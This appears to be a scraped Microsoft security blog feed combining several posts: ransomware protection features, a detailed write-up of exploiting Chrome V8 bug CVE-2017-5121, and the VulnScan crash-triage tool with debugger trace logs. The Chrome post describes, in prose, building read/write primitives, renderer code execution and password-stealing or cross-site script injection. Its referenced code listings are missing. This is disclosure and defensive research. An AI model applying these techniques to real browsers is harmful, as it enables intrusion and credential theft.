In enterprise environments, Controlled folder access can also be enabled and managed using Group Policy, PowerShell, or configuration service providers for mobile device management.

The Controlled folder access feature seamlessly integrates with Windows Defender Advanced Threat Protection. Every time Controlled folder access blocks an attempt to make changes to protected folders, an alert is generated on Windows Defender ATP. This notifies security operations personnel to take quick response actions, including quarantining affected machines or blocking the unauthorized app from running on other machines.

As with the other Windows Defender Exploit Guard features, administrators can customize notifications that appear on endpoints in the event of an intrusion attempt. Customized notifications then allow employees to call, email, or IM their company’s help desk.

Controlled folder access and other Windows Defender Exploit Guard features include an audit mode that administrators can use to evaluate these security features in enterprise networks. In audit mode, the Controlled folder feature does not block attempts to modify files on protected folders, but logs all events, so administrators can assess Windows Defender Exploit Guard capabilities without impacting operations.

A comprehensive suite of advanced ransomware protection in Windows 10

Ransomware attacks grow more and more sophisticated every day. To keep you safe, we are continually improving Windows to protect against ransomware and other threats. Windows 10 is the safest version of Windows yet. Controlled folder access is designed to help reduce the risk of ransomware attacks, keeping your user and businesses data safe.

 

Tanmay Ganacharya (@tanmayg)

Principal Group Manager, Windows Defender Research

 

Note these additional Windows security features

Windows 10 S is a configuration of Windows 10 that’s streamlined for security and performance. Windows 10 S provides Microsoft-vetted security by working exclusively with apps from the Windows Store and by using Microsoft Edge as the default browser.

Windows 10 customers are also protected from ransomware with Windows Defender Antivirus. With advanced machine learning models, as well as generic and heuristic techniques Windows Defender Antivirus detects new as well as never-before-seen ransomware in real-time.

Microsoft Edge blocks ransomware infection from the web by opening pages within low privilege app containers and by using reputation-based blocking of malicious downloads. Microsoft Edge has been providing industry-leading online protection for Windows 10 customers since its release. This year, Microsoft Edge is now available on iOS and Android, so users of these platforms can start benefiting from browser security beyond sandboxing.

In enterprise environments there are additional layers of protection. Device Guard provides virtualization-based lockdown security. It blocks all types of unauthorized content, stopping ransomware and other threats from reaching the machine.

In addition to Microsoft Edge, enterprises can also ensure online safety by blocking ransomware attacks that begin with email. Microsoft Exchange Online Protection (EOP) uses built-in anti-spam filtering capabilities that help protect Office 365 customers. Office 365 Advanced Threat Protection helps secure mailboxes against email attacks by blocking emails with unsafe attachments, malicious links, and linked-to files leveraging time-of-click protection.

Windows Defender ATP powers security operations personnel to detect and respond to malware outbreaks in their organization. Windows Defender ATP’s enhanced behavioral and machine learning detection libraries flag malicious behavior across the ransomware infection process. The new process tree visualization and improvements in machine isolation help security operations to investigate and respond to ransomware and other malicious attacks.

Controlled folder access is a new piece to this growing stack of next-gen solutions that help you prevent, detect, and respond to ransomware and other modern attacks.

Controlled folder access, Exploit Protection, Attack surface reduction, and Network protection make up the host intrusion prevention capabilities in Windows Defender Exploit Guard. These features and all the other next-gen security technologies that ship with the Fall Creators Update continue to make Windows 10 the safest, most secure Windows ever.

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

Get the latest information on ransomware

Our ransomware FAQ page summarizes the latest developments in the ransomware landscape. It has information about the most prevalent ransomware families like Cerber, WannaCrypt, Spora, Teerac (also known as Crypt0L0cker or CryptoLocker), and Locky, as well as the latest notable ransomware families like Tibbar (also known as Bad Rabbit), Ronggolawe, Petya (also referred to as NotPetya), Erebus, and others.

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

]]>
Browser security beyond sandboxinghttps://blogs.technet.microsoft.com/mmpc/2017/10/18/browser-security-beyond-sandboxing/Wed, 18 Oct 2017 13:01:02 +0000https://blogs.technet.microsoft.com/mmpc/?p=15955Security is now a strong differentiator in picking the right browser. We all use browsers for day-to-day activities like staying in touch with loved ones, but also for editing sensitive private and corporate documents, and even managing our financial assets. A single compromise through a web browser can have catastrophic results. It doesn’t help that browsers are also on their way to becoming some of the most complex pieces of consumer software in existence, increasing potential attack surface.

Our job in the Microsoft Offensive Security Research (OSR) team is to make computing safer. We do this by identifying ways to exploit software, and working with other teams across the company on solutions to mitigate attacks. This workflow typically involves identifying software vulnerabilities to exploit. However, we believe that there will always be more vulnerabilities to find, so that isn’t our primary focus. Instead, our job is really all about asking: assuming a vulnerability exists, what can we do with it?

We’ve so far had success with this approach. We have helped improve the security of several Microsoft products, including Microsoft Edge. We continue to make strides in preventing both Remote Code Execution (RCE) with mitigations like Control Flow Guard (CFG), export suppression, and Arbitrary Code Guard (ACG), and isolation, notably with Less Privileged AppContainer (LPAC) and Windows Defender Application Guard (WDAG). Still, we believe it’s important for us to validate our security strategy. One way we do this is to look at what other companies are doing and study the results of their efforts.

For this project, we set out to examine Google’s Chrome web browser, whose security strategy shows a strong focus on sandboxing. We wanted to see how Chrome held up against a single RCE vulnerability, and try to answer: is having a strong sandboxing model sufficient to make a browser secure?

Some of our key findings include the following:

  • Our discovery of CVE-2017-5121 indicates that it is possible to find remotely exploitable vulnerabilities in modern browsers
  • Chrome’s relative lack of RCE mitigations means the path from memory corruption bug to exploit can be a short one
  • Several security checks being done within the sandbox result in RCE exploits being able to, among other things, bypass Same Origin Policy (SOP), giving RCE-capable attackers access to victims’ online services (such as email, documents, and banking sessions) and saved credentials
  • Chrome’s process for servicing vulnerabilities can result in the public disclosure of details for security flaws before fixes are pushed to customers

Finding and exploiting a remote vulnerability

To do this evaluation, we first needed to find some kind of entry point vulnerability. Typically, we do this by finding a memory corruption bug, such as buffer overflow or use-after-free vulnerability. As with any web browser, the attack surface is extensive, including the V8 JavaScript interpreter, the Blink DOM engine, and the pdfium PDF renderer, among others. For this project, we focused our attention on V8.

The bug we ended up using for our exploit was discovered through fuzzing. We leveraged the Windows Security Assurance team's Azure-based fuzzing infrastructure to run ExprGen, an internal JavaScript fuzzer written by the team behind Chakra, our own JavaScript engine. People were likely already throwing all publicly available fuzzers at V8; ExprGen, on the other hand, had only ever been run against Chakra, giving it greater chances of leading to the discovery of new bugs.

Identifying the bug

One of the disadvantages of fuzzing, compared to manual code review, is that it's not always immediately clear what causes a given test case to trigger a vulnerability, or if the unexpected behavior even constitutes a vulnerability at all. This is especially true for us at OSR; we have no prior experience working with V8 and therefore know fairly little about its internal workings. In this instance, the test case produced by ExprGen reliably crashed V8, but not always in the same way, and not in a way that could be easily influenced by an attacker.

As fuzzers often generate very large and convoluted pieces of code (in this case, nearly 1,500 lines of unreadable JavaScript), the first step is typically to minimize the test case -- trimming the fat until we're left with a small, understandable piece of code. This is what we ended up with:

The code above looks strange and doesn't really achieve anything, but it is valid JavaScript. All it does is to create an oddly structured object, then set some of its fields. This shouldn't trigger any strange behavior, but it does. When this code is run using D8, V8's standalone executable version, built from git tag 6.1.534.32, we get a crash:

Looking at the address the crash occurs at (0x000002d168004f14), we can tell it does not happen within a static module. It must therefore be in code dynamically generated by V8's Just-In-Time (JIT) compiler. We also see that the crash happens because the rax register is zero.

At first glance, this looks like a classic null dereference bug, which would be a let-down: those are typically not exploitable because modern operating systems prevent the zero virtual address from being mapped. We can look at surrounding code in order to get a better idea of what might be going on:

We can extract a few things from this code. First, we notice that our crash occurs right before a function call to what looks like a JavaScript function dispatcher stub, mostly due to the address of v8::internal::Builtin_FunctionPrototypeToString being loaded into a register right before that call. Looking at the code of the function located at 0x000002d167e84500, we find that address 0x000002d167e8455f does contain a call rbx instruction, which appears to confirm our suspicion.

The fact that it calls Builtin_FunctionPrototypeToString is interesting, because that's the implementation for the Object.toString method, which our minimized test case calls into. This appears to indicate that the crash is happening within the JIT-compiled version of our func0 Javascript function.

The second piece of information we can glean from the disassembly above is that the zero value contained in register rax at the time of the crash is loaded from memory. It also looks like the value that should have been loaded is being passed to the toString function call as a parameter. We can tell that it's being loaded from [rdi + 0x18]. Based on that, we can take a look at that piece of memory:

This doesn't yield very useful information. We can see that most of these values are pointers, but that's about it. However, it’s useful to know where the value (which is meant to be a pointer) is loaded from, because it can help us figure out why this value is zero in the first place. Using the WinDbg's newly public Time Travel Debugging (TTD) feature, we can place a memory write breakpoint at that location (baw 8 0000025e`a6845dd0), then place an execution breakpoint at the start of the function, and finally re-run the trace backwards (g-).

Interestingly, our memory write breakpoint doesn't trigger, meaning that this memory slot does not get initialized in this function, or at least not before it's used. This might be normal, but if we play around with the test case, for example by replacing the o.b.bc.bca.bcab = 0; line with o.b.bc.bca.bcab = 0xbadc0de;, then we start noticing changes to the memory region where our crash value originates:

We see that our 0xbadc0de constant value ends up in that memory region. Although this doesn't prove anything, it makes it seem likely that this memory region is used by the JIT-compiled function to store local variables. That idea is reinforced by how the code from earlier looked like the value we crash trying to load was being passed to Object.toString as a parameter.

Combined with the fact that TTD confirmed that this memory slot is not initialized by the function, a possible explanation is that the JIT compiler is failing to emit code that would initialize the pointers representing the object members used to access the o.b.ba.bab field.

To confirm this, we can run the test case in D8 with the --trace-turbo and --trace-turbo-graph parameters. Doing so will cause D8 to output information about how TurboFan, V8's JIT compiler, goes about building and optimizing the relevant code. We can use this in conjunction with turbolizer to visualize the graphs that TurboFan uses to represent and optimize code.

TurboFan works by applying various optimization phases to the graph one after the other. About half-way through the optimization pipeline, after the Load elimination optimization phase, this is what our code's flow looks like:

It's fairly straightforward: the optimizer apparently inlined func0 into the infinite loop, and then pulled the first loop iteration out. This information is useful to see how the blocks relate to each other. However, this representation omits nodes that correspond to loading function call parameters, as well as the initialization of local variables, which is the information we're interested in.

Thankfully, we can use turbolizer's interface to display those. Focusing on the second Object.toString call, we can see where the parameter comes from, as well as where it's allocated and initialized:

(NOTE: node labels were manually edited for readability)

At this stage in the optimization pipeline, the code looks perfectly reasonable:

  • A memory block is allocated to store local object o.b.ba (node 235), and its fields baa and bab are initialized
  • A memory block is allocated to store local object o.b (node 259), and its fields are all initialized, with ba specifically being initialized with a reference to the previous o.b.ba allocation
  • A memory block is allocated to store local object o (node 303), and its fields are all initialized
  • Local object o's field b is overwritten with a reference to object o.b (node 185)
  • Local object field o.b.ba.bab is loaded (nodes 199, 209, and 212)
  • The Object.toString method is called, passing o.b.ba.bab as first argument

Code compiled at this stage in the optimization pipeline looks like it shouldn't exhibit the uninitialized local variable behavior that we're hypothesizing is the root cause of the bug. That being said, certain aspects of this representation do lend credence to our hypothesis. Looking at nodes 209 and 212, which load o.b.ba and o.b.ba.bab, respectively, for use as a function call parameter, we can see that the offsets +24 and +32 correspond to the disassembly of the crashing code:

0x17 and 0x1f are values 23 and 31, respectively. This fits, when taking into account how V8 tags values in order to distinguish actual objects from inlined integers (SMIs): if a value meant to represent a JavaScript variable has its least significant bit set, it is considered a pointer to an object, and otherwise an SMI. Because of this, V8 code is optimized to subtract one from JavaScript object offsets before they are used for dereferencing.

As we still don't have an explanation for the bug, we keep looking through optimization passes until we find something strange. This happens after the Escape analysis pass. At that point, the graph looks like the following:

There are two notable differences:

  • The code no longer goes through the trouble of loading o and then o.b—it was optimized to reference o.b directly, probably because that field's value is never changed
  • The code no longer initializes o.b.ba; as can be seen in the graph, turbolizer grays out node 264, which means it is no longer live, and therefore won't be built into the final code

Looking through all the live nodes at this stage seems to confirm that this field is no longer being initialized. As another sanity check, we run d8 on this test case with the flag --no-turbo-escape in order to omit this optimization phase: d8 no longer crashes, confirming that this is where the issue stems from. In fact, that turned out to be Google's fix for the bug: completely disable the escape analysis phase in v8 6.1 until the new escape analysis module was ready for production in v8 6.2.

With all this information about the bug's root cause in hand, we need to find ways to exploit it. It looks like it could be a very powerful bug, but it depends entirely on our ability to control the uninitialized memory slot, as well as how it ends up being used.

Getting an info leak

At this point, the easiest way to get an idea of what we can or can't do with the bug is simply to play around with the test case. For example, we can look at the effect of changing the type of the field we're loading from an uninitialized pointer:

The result is that the field is now loaded directly as a float, rather than an object pointer or SMI:

Similarly, we can try adding more fields to the object:

Running this, we get the following crash:

This is interesting, because it looks like adding fields to the object modifies the offsets from where the object fields are loaded. In fact, if we do the math, we see that (0x67 - 0x1f) / 8 = 9, which is exactly the number of fields we added from o.b.ba.bab. The same applies to the new offset that rbx is loaded from.

Playing around with the test case a bit more, we are able to confirm that we have extensive control over the offset where the uninitialized pointer is loaded from, even though none of these fields are being initialized. At this point, it would be useful to see if we can place arbitrary data into this memory region. The earlier test with 0xbadc0de seemed to indicate that we could, but the offset appeared to change with each run of the test case. Often, exploits get around that by spraying values. The rationale is that if we can't accurately trap our target to a given location, we can instead just make our target bigger. In practice, we can try spraying values by using inline arrays:

Looking at the crash dump, we see:

The crash is essentially the same as previously, but if we look at the memory where our uninitialized data is coming from, we see:

We now have a big block of arbitrary script-controlled values at an offset from r11. Combining this observation with the previous one about offsets, we can come up with something even better:

The result is that we are now dereferencing a float value arbitrary from an arbitrary address:

This, of course, is extremely powerful: it immediately results in an arbitrary read primitive, impractical as it may be. Unfortunately, an arbitrary read primitive without an initial info leak is not that useful: we need to know which addresses to read from in order to make use of it.

As the variable v can be anything we want it to be, we can replace it with an object, and then read its internal fields. For example, we can replace the call to Object.toString() with a custom callback, and replace v with a DataView object, reading back the address of that object's backing store. This produces a way for us to locate fully script-controlled data:

The above code returns (modulo ASLR):

Using WinDbg we can validate that this is indeed the backing store for our buffer:

Once again, this is an incredibly powerful primitive, and we could use it to leak just about any field from an object, as well as the address of any JavaScript object, as those are sometimes stored as fields in other objects.

Building an arbitrary read/write primitive

Being able to place arbitrary data at a known address means we can unlock an even more powerful primitive: the ability to create arbitrary JavaScript objects. Just changing the type of the field being read from a float to an object makes it possible for us to read an object pointer from anywhere in memory, including a buffer whose address is known to us. We can test this by using WinDbg to place controlled data at a known address (the same primitive we just developed above) using the following commands:

This places an SMI representing the integer 0xbadc0de at the location where our arbitrary object pointer would be loaded from. Since we didn't set the least significant bit, it will be interpreted by V8 as an inline integer:

As expected, V8 prints the following output:

Given this, we have the ability to create arbitrary objects. From there, we can put together a convenient arbitrary read/write primitive by creating fake DataView and ArrayBuffer objects. We again place our fake object data at a known location using WinDbg:

We then test it with the following JavaScript:

As expected, the call to DataView.prototype.setUint32 triggers a crash, attempting to write value 0xdeadcafe to address 0x00000badbeefc0de:

Controlling the address where the data will be written to or read from is just a matter of modifying the obj.arraybuffer.backing_store slot populated through WinDbg. Since in the case of a real exploit that memory would be part of the backing store of a real ArrayBuffer object, doing so wouldn’t be difficult. For example, a write primitive might look like this:

With this, we can reliably read and write arbitrary memory locations in the Chrome renderer process from JavaScript.

Achieving Arbitrary Code Execution

Achieving code execution in the renderer process, given an arbitrary read/write primitive, is relatively easy. At the time of writing, V8 allocates its JIT code pages with read-write-execute (RWX) permissions, meaning that getting code execution can be done by locating a JIT code page, overwriting it, and then calling into it. In practice, this is achieved by using our info leak to locate the address of a JavaScript function object and reading its function entrypoint field. Once we've placed our code at that entrypoint, we can call the JavaScript function for the code to execute. In JavaScript, this might look like:

It is worth noting that even if V8 did not make use of RWX pages, it would still be easy to trigger the execution of a Return Oriented Programming (ROP) chain due to the lack of control flow integrity checks. In that scenario, we could, for example, overwrite a JavaScript function object's entrypoint field to point to the desired gadget (likely a stack pivot of some kind) and then make the function call.

Neither of those techniques would be directly applicable to Microsoft Edge, which features both CFG and ACG. ACG, which was introduced in Windows 10 Creators Update, enforces strict Data Execution Prevention (DEP) and moves the JIT compiler to an external process. This creates a strong guarantee that attackers cannot overwrite executable code without first somehow compromising the JIT process, which would require the discovery and exploitation of additional vulnerabilities.

CFG, on the other hand, guarantees that indirect call sites can only jump to a certain set of functions, meaning they can’t be used to directly start ROP execution. Creators Update also introduced CFG export suppression, which significantly reduced the set of valid CFG indirect call targets by removing most exported functions from the valid target set. All these mitigations and others make the exploitation of RCE vulnerabilities in Microsoft Edge that much more complex.

The dangers of RCE

Being a modern web browser, Chrome adopts a multi-process model. There are several process types involved: the browser process, the GPU process, and renderer processes. As its name indicates, the GPU process brokers interactions between the GPU and all the processes that need to use it, while the browser is the global manager process that brokers access to everything from file system to networking.

Each renderer is meant to be the brains behind one or more tabs—it takes care of parsing and interpreting HTML, JavaScript, and the like. The sandboxing model makes it so that these processes only have access to as little as they need to function. As such, a full persistent compromise of the victim's system is not possible from the renderer without finding a secondary bug to escape that sandbox.

With that in mind, we thought it would be interesting to examine what might be possible for an attacker to achieve without a secondary bug. Although most tabs are isolated within individual processes, that's not always the case. For example, if you’re on bing.com and use the JavaScript developer console (which can be opened by pressing F12) to run window.open('https://microsoft.com'), a new tab will open, but it will typically fall into the same process as the original tab. This can be seen by using Chrome's internal task manager, which can be opened by pressing Shift + Escape:

This is an interesting observation, because it indicates that renderer processes are not locked down to any single origin. This means that achieving arbitrary code execution within a renderer process can give attackers the ability to access other origins. While attackers gaining the ability to bypass the Single Origin Policy (SOP) in such a way may not seem like a big deal, the ramifications can be significant:

  • Attackers can steal saved passwords from any website by hijacking the PasswordAutofillAgent interface.
  • Attackers can inject arbitrary JavaScript into any page (a capability known as universal cross-site scripting, or UXSS), for example, by hijacking the blink::ClassicScript::RunScript method.
  • Attackers can navigate to any website in the background without the user noticing, for example, by creating stealthy pop-unders. This is possible because many user-interaction checks happen in the renderer process, with no ability for the browser process to validate. The result is that something like ChromeContentRendererClient::AllowPopup can be hijacked such that no user interaction is required, and attackers can then hide the new windows. They can also keep opening new pop-unders whenever one is closed, for example, by hooking into the onbeforeunload window event.

A better implementation of this kind of attack would be to look into how the renderer and browser processes communicate with each other and to directly simulate the relevant messages, but this shows that this kind of attack can be implemented with limited effort. While the democratization of two-factor authentication mitigates the dangers of password theft, the ability to stealthily navigate anywhere as that user is much more troubling, because it can allow an attacker to spoof the user’s identity on websites they’re already logged into.

Conclusion

This kind of attack drives our commitment to keep on making our products secure on all fronts. With Microsoft Edge, we continue to both improve the isolation technology and to make arbitrary code execution difficult to achieve in the first place. For their part, Google is working on a site isolation feature which, once complete, should make Chrome more resilient to this kind of RCE attack by guaranteeing that any given renderer process can only ever interact with a single origin. A highly experimental version of this site isolation feature can be enabled by users through the chrome://flags interface.

We responsibly disclosed the vulnerability that we discovered along with a reliable RCE exploit to Google on September 14, 2017. The vulnerability was assigned CVE-2017-5121, and the report was awarded a $7,500 bug bounty by Google. Along with other bugs our team reported but didn’t exploit, the total bounty amount we were awarded was $15,837. Google matched this amount and donated $30,000 to Denise Louie Education Center, our chosen organization in Seattle. The bug tracker item for the vulnerability described in this article is still private at time of writing.

Servicing security fixes is an important part of the process and, to Google’s credit, their turnaround was impressive: the bug fix was committed just four days after the initial report, and the fixed build was released three days after that. However, it’s important to note that the source code for the fix was made available publicly on Github before being pushed to customers. Although the fix for this issue does not immediately give away the underlying vulnerability, other cases can be less subtle.

For example, this security bug tracker item was also kept private at the time, but the public fix made the vulnerability obvious, especially as it came with a regression test. This can be expected of an open source project, but it is problematic when the vulnerabilities are made known to attackers ahead of the patches being made available. In this specific case, the stable channel of Chrome remained vulnerable for nearly a month after that commit was pushed to git. That is more than enough time for an attacker to exploit it. Some Microsoft Edge components, such as Chakra, are also open source. Because we believe that it’s important to ship fixes to customers before making them public knowledge, we only update the Chakra git repository after the patch has shipped.

Our strategies may differ, but we believe in collaborating across the security industry in order to help protect customers. This includes disclosing vulnerabilities to vendors through Coordinated Vulnerability Disclosure (CVD), and partnering throughout the process of delivering security fixes.

 

Jordan Rabet

Microsoft Offensive Security Research team

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

 

]]>
October 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/10/10/october-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/10/10/october-2017-security-update-release/#respondTue, 10 Oct 2017 17:00:47 +0000https://blogs.technet.microsoft.com/msrc/?p=3205Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month's security updates can be found in the Security Update Guide.

]]>
https://blogs.technet.microsoft.com/msrc/2017/10/10/october-2017-security-update-release/feed/0
VulnScan – Automated Triage and Root Cause Analysis of Memory Corruption Issues https://blogs.technet.microsoft.com/srd/2017/10/03/vulnscan-automated-triage-and-root-cause-analysis-of-memory-corruption-issues/https://blogs.technet.microsoft.com/srd/2017/10/03/vulnscan-automated-triage-and-root-cause-analysis-of-memory-corruption-issues/#respondTue, 03 Oct 2017 22:29:19 +0000https://blogs.technet.microsoft.com/srd/?p=4526The Microsoft Security Response Center (MSRC) receives reports about potential vulnerabilities in our products and it’s the job of our engineering team to assess the severity, impact, and root cause of these issues. In practice, a significant proportion of these reports turn out to be memory corruption issues.  In order to root cause these issues, an MSRC security engineer typically needs to analyze the crash and try to understand what went wrong. This workflow isn’t unique to externally reported vulnerabilities; vulnerabilities that are discovered internally through fuzzing and variant investigation are also typically memory corruption issues and these need to be triaged and assessed for exploitability too.

For these reasons, MSRC has made significant investments over the course of many years to build tooling that helps us automate the root cause analysis process. VulnScan is a tool designed and developed by MSRC to help security engineers and developers determine the vulnerability type and root cause of memory corruption bugs. It is built on top of two internally developed tools: Debugging Tools for Windows (WinDbg) and Time Travel Debugging (TTD).

  • WinDbg is Microsoft's Windows debugger that has recently received a user interface makeover to make it even easier to use. You can find more information about the new WinDbg Preview version here.
  • Time Travel Debugging is an internally developed framework that records and replays execution of Windows applications. This technology was released during CPPCon 2017.

By leveraging WinDbg and TTD, VulnScan is able to automatically deduce the root cause of the most common types of memory corruption issues. Application Verifier’s mechanism called PageHeap is used to trigger an access violation closer to the root cause of the issue. The analysis starts from the crash location and progresses towards the root cause. Classes of memory corruption issues supported by VulnScan:

  • Out of bounds read/write
    • The invalid pointer value is tracked back to its origin. If the origin points to a valid allocation and the pointer subsequently becomes invalid VulnScan tries to determine which instruction made the change and why.
    • This also means the tool can detect integer overflows and underflows as well as basic out of bounds accesses caused by a bad loop counter value.
  • Use after free
    • The value of the invalid pointer at the access violation is used in a backwards lookup to identify the point in the execution timeline where the invalid pointer becomes valid. From this point VulnScan does the forward trace of application code, tracking all memory free operations to determine where the pointer was freed.
    • We experimented with a few techniques before selecting the above method. Originally all memory allocations and frees were logged, but this was very resource and time consuming. It also negatively affected the speed of triage for other bugs as the map of heap objects was prepared even for non-use-after-free bugs. This method allowed us to triage use-after-free bugs without PageHeap enabled. It can still be used but it’s disabled by default.
  • Type confusion
    • For this vulnerability type, the tool is using a heuristic that checks if the pointer size and alignment are consistent. If a tainted pointer value in the reverse execution flow is being partly overwritten with a value of the same size (misaligned structure member memory write) or modified with a value with different size it might indicate a type confusion vulnerability (different structure member type).
    • An example triage of a type confusion bug can be found in next part of this blog post below.
  • Uninitialized memory use
    • Each memory read operation is verified for initialization by inserting a memory breakpoint at the address of the memory read. Then the code is run in reverse order to the point where it had been written. If the write operation is missing, we report an uninitialized memory use to the user and continue analysis.
    • An example triage of an uninitialized memory pointer:
[*]     Current instruction: cmp         qword ptr [r8+00000558h],rax
[*]     Current position: 0x2B3DC0000001
[*]     Source memory value: 0x2390E31B940
[*]     Tainting back register: r8
[*]     Register value: 0x0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         r8,qword ptr [rcx+00000410h] <- uninitialized memory
[*]     Current position: 0x2b3d80000144
[*]     Source effective address: 0x2417f9a2690
[*]     Source memory value:0x0
[*]     ----------------------------------------------------------------------
[*]     Uninitialized heap object vulnerability detected !!!
  • Null/constant pointer dereference
    • The multi-branch tainting engine in VulnScan tracks all values to their initialization. If all branches lead back to null or constant values without modification, we report a null or constant pointer dereference to the user.
    • Example triage of a null pointer dereference bug:
[*]     Current instruction: test        byte ptr [rcx+4Ch],1
[*]     Current position: 0x6328B80000001
[*]     Source memory value: 0x1
[*]     Tainting back register: rcx
[*]     Register value: 0x0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         rcx,qword ptr [rcx+20h]
[*]     Current position: 0x6328B4000014E
[*]     Source effective address: 0x1E3A54FDC20
[*]     Source memory value: 0x0
[*]     Memory is initialized @TTTPos: 1744423515849038.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x1E3A54FDC20
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         qword ptr [rbx+20h],rax
[*]     Current position: 0x6327FC00002AE
[*]     Source memory value: 0x0
[*]     Tainting back register: rax
[*]     Register value: 0x0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: xor         eax,eax
[*]     Current position: 0x6327FC00002AD
[*]     Tainted register got zeroed!
[*]     ----------------------------------------------------------------------

MSRC uses VulnScan as part of our automation framework called Sonar. It automatically processes externally reported proof of concept files on all supported platforms and software versions. Sonar is used to both reproduce and to perform the root cause analysis. To this end, we employ multiple different environments and try to reproduce the issue multiple times with different configurations.

VulnScan is planned for inclusion in Microsoft Security Risk Detection service (Project Springfield), where it is used to de-duplicate crashes and provide extended analysis of vulnerabilities found through fuzzing.

Over a 10-month period where VulnScan was used to triage all memory corruption issues for Microsoft Edge, Microsoft Internet Explorer and Microsoft Office products. It had a success rate around 85%, saving an estimated 500 hours of engineering time for MSRC engineers.

 

Case study – triaging type confusion bug (CVE-2017-0134)

With the help of the Time Travel Debugging (TTD) we can explore code in both directions of the timeline of code execution. We use taint techniques to track register changes and memory breakpoints to track writes to the memory. Every instruction in the tainting process is analysed in the context of previously executed instructions to find the possible root cause of the issue and to determine the bug class.

VulnScan taint analysis is multi-branch, which means it can sequentially track all values obtained from a single instruction. VulnScan has a queue of registers and memory addresses associated with specific positions in the execution timeline. Taint analysis is performed separately for each branch. Using this technique, application data flow can be recreated in full. Over time, we’ve made a few simplifications and optimizations to speed up the analysis process. The following analysis is a simple example just to highlight the basic concepts and capabilities of the tool.

The example is from a Chakra vulnerability submitted to the MSRC by Jordan Rabet (Microsoft Offensive Security Research Team).

The following positions in the trace are the important ones:

Position 0x2D0780000001: The location of the access violation.

Address (0xA0000000A), as dereferenced by the mov instruction, does not point to a valid memory location. We start our analysis by tainting back from the register (rcx) used in this pointer calculation.

Position 0x2CFA8000014D: The first time the heuristic is triggered.

This is probably the most important point of this analysis. The invalid pointer value was tracked back as a 64-bit value up to this point, but it is used as 32-bit value in a memory write operation. This heuristic is triggered a couple more times in the analysis, but these are not important since they do not affect the invalid pointer value we saw at the location of the access violation.

Positions 0x1D420000037E to 0x1D40400000A7: The tainted value changes between these positions.

As this was set externally by the NtReadFile system call, this implies that the value could be controlled by an attacker. Tracing further back shows the memory being set to a PageHeap-specific constant value, which also indicates we are dealing with a heap allocation.

Call stack:
00 ch!memcpy          <- Position 0x1D420000037E
01 ch!memcpy_s
02 ch!_fread_nolock_s <- syscall
03 ch!fread_s
04 ch!fread
05 ch!Helpers::LoadScriptFromFile
. . .
0n <- Position 0x1D40400000A7

Position 0x2A8C80001709: Taint analysis of the main branch ends here.

The dereferenced address (0x7FFC239B2358) is a read-only global variable within the ChakraCore binary. Analysis of other branches (called junctions) is performed from this point. Analysis will be continued in the next branch because the instruction is an arithmetic operation with a register in the destination operand.

This operation is represented in source code by dbl *= g_rgdblTens[lwExp], where g_rgdblTens is a global variable.

Other branches (position 0x2A8C800016F9 and position 0x1D404000001A) lead to constant and null values, but it was worth investigating them anyway to ensure we did not miss any important details.

db    db db    db db      d8b   db .d8888.  .o88b.  .d8b.  d8b   db
88    88 88    88 88      888o  88 88'  YP d8P  Y8 d8' `8b 888o  88
Y8    8P 88    88 88      88V8o 88 `8bo.   8P      88ooo88 88V8o 88
`8b  d8' 88    88 88      88 V8o88   `Y8b. 8b      88~~~88 88 V8o88
 `8bd8'  88b  d88 88booo. 88  V888 db   8D Y8b  d8 88   88 88  V888
   YP    ~Y8888P' Y88888P VP   V8P `8888Y'  `Y88P' YP   YP VP   V8P


[*]     Loading Trace.
[*]     Exception found in trace file!
[*]     Current instruction: mov         rax,qword ptr [rcx+8]
[*]     Current position: 0x2D0780000001
[*]     Source effective address: 0xA0000000A
[*]     Tainting back register: rcx
[*]     Register value: 0xA00000002
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         rcx,qword ptr [rsp+00000088h]
[*]     Current position: 0x2D0740000FE7
[*]     Source effective address: 0x99C17FDCF8
[*]     Source memory value: 0xA00000002
[*]     Memory is initialized @TTTPos: 49509161766887.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x99C17FDCF8
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         qword ptr [r15],rax
[*]     Current position: 0x2D0740000FD0
[*]     Source memory value: 0xA00000002
[*]     Tainting back register: rax
[*]     Register value: 0xA00000002
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         rax,qword ptr [rcx+18h]
[*]     Current position: 0x2D0740000FCC
[*]     Source effective address: 0x2967D8CC0C0
[*]     Source memory value: 0xA00000002
[*]     Memory is initialized @TTTPos: 49509161766860.
[*]     Memory was initialized!
[*]     Tainting back memory: 0x2967D8CC0C0
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         dword ptr [r10+rax*4+18h],r11d
[*]     Current position: 0x2CFA8000014D
[*]     Source memory value: 0xA
[*]     Pointer size mismatch detected!
[*]     Tainting back register: r11d
[*]     Register value: 0xA
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         r11d,r8d
[*]     Current position: 0x2CFA8000013E
[*]     Tainting back register: r8d
[*]     Register value: 0xA
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         r8d,r9d
[*]     Current position: 0x2CFA8000013A
[*]     Tainting back register: r9d
[*]     Register value: 0xA
[*]     ----------------------------------------------------------------------
[*]     Current instruction: mov         r9d,dword ptr [rdi+rax*4+18h]
[*]     Current position: 0x2CFA8000012C
[*]     Source effective address: 0x2967D8B4898
